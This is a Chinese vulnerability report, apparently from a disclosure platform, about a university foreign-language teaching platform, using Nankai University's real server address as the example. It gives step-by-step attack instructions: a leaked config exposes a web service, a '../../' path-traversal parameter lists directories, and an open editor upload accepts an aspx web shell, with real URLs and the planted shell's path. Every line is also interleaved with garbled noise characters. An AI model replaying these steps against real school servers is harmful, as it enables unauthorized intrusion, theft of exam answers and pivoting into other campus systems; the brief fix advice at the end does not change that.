好多大学都在用这个教学平台,这个漏洞会导致直接拿到试题答案,甚至作为跳板继续渗透进入学校其他服务器中
/ a: H n$ y* N. u1 s) G
9 s3 E5 D2 y/ c7 c- h+ S/ z9 u详细说明:# c2 ?. _6 k3 C" x X; b% v
. N& M# X- D% I! t以南开大学的为例:
3 M& E2 E1 A/ W: O) Ahttp://222.30.60.3/NPELS! w# u+ j T' c* G- ~% b# n# L' O
NPELS_LearningCenter_5.0 客户端下的 Update.exe.config 文件泄露一个重要地址
7 E! z8 ^6 t z<setting name="Update_CommonSvr_CommonService" serializeAs="String">
) \, f2 |4 F2 C! } w0 @$ |<value>http://222.30.60.3/NPELS/CommonService.asmx</value>
1 h E, I7 ^! ?0 s</setting>
& k9 C+ r# x1 b: T) u及版本号# b' S: }; a: X
<add key="TVersion" value="1, 0, 0, 2187">
! D; \, M3 l8 C+ {& j</add>, M4 w( L6 g; q1 X8 O* t! e: `. Y( D
直接访问" o8 ?, X9 W1 a3 F; x; x. \3 f- |
http://222.30.60.3/NPELS/CommonService.asmx" R7 G4 Y3 r' {! l
使用GetTestClientFileList操作,直接 HTTP GET 列目录:+ m5 g8 ]( i- f4 p4 X" n
http://222.30.60.3/NPELS/CommonS ... tFileList?version=1, 0, 0, 2187
?7 W( Q- K" m- A; d% e# I进一步列目录(返回的网页很大,可以直接 wget 下来)
9 f8 }1 p! K7 k2 c: Q2 i9 Z6 \http://222.30.60.3/NPELS/CommonS ... List?version=../../% z1 T9 m# W! k4 }
9 l2 u7 k$ `1 X/ `2 f0 g8 Y# K
发现
+ Y5 q, S4 Y, ^http://zzxx.nankai.edu.cn/npelsv/editor/editor.htm& n$ B+ x4 ]1 X9 U6 J0 o7 M
可以上传,直接上传aspx木马即可,不需要改后缀名或者文件头
! S4 O, L& W1 {7 ^上传后继续列目录找到木马地址直接访问即可
) E+ }; B, B. `, `4 H8 X# l G f
' e' {" a( Y3 G2 p+ WOOXX6 N4 r* X% J: @8 ?# G1 [
$ w0 {+ v% G9 k; E% I# z7 I( U
Google "新理念外语网络教学平台" 测试了几个其他的站,都有类似的列目录上传方法7 e( M$ z# K! O
漏洞证明:
! `) \5 {/ j, d* L 8 y4 M& G+ y+ l4 A8 Y; z. ]
列目录:$ _) _5 m: C7 R+ ^) O
http://222.30.60.3/NPELS/CommonS ... List?version=../../
$ x# [* V: r. f" y文件上传:
3 |, v% ]( \, e4 ~- p( c& M1 @http://222.30.60.3/npelsv/editor/editor.htm
, q. f$ f+ X9 @ 7 U) h& L. d% g- m
上传木马:
! _: q# b$ ~5 j7 p0 jhttp://222.30.60.3/npelsv/editor/uploadfiles/1.aspx
3 X) n; V' N b3 y
7 T9 Z. A9 C' }. i/ l8 @7 Z) s+ \修复方案:, {3 F% B: M4 {
好像考试系统必须使用 CommonService.asmx5 X0 b$ t3 \1 n' Z
最好配置文件加密或者用别的方式不让它泄露出来7 I# N s1 u, u( T5 e8 E6 O1 Q
并且检查或删除各上传入口,像 http://222.30.60.3/NPELS/Upload.aspx 一样3 @* q& f# r/ }
|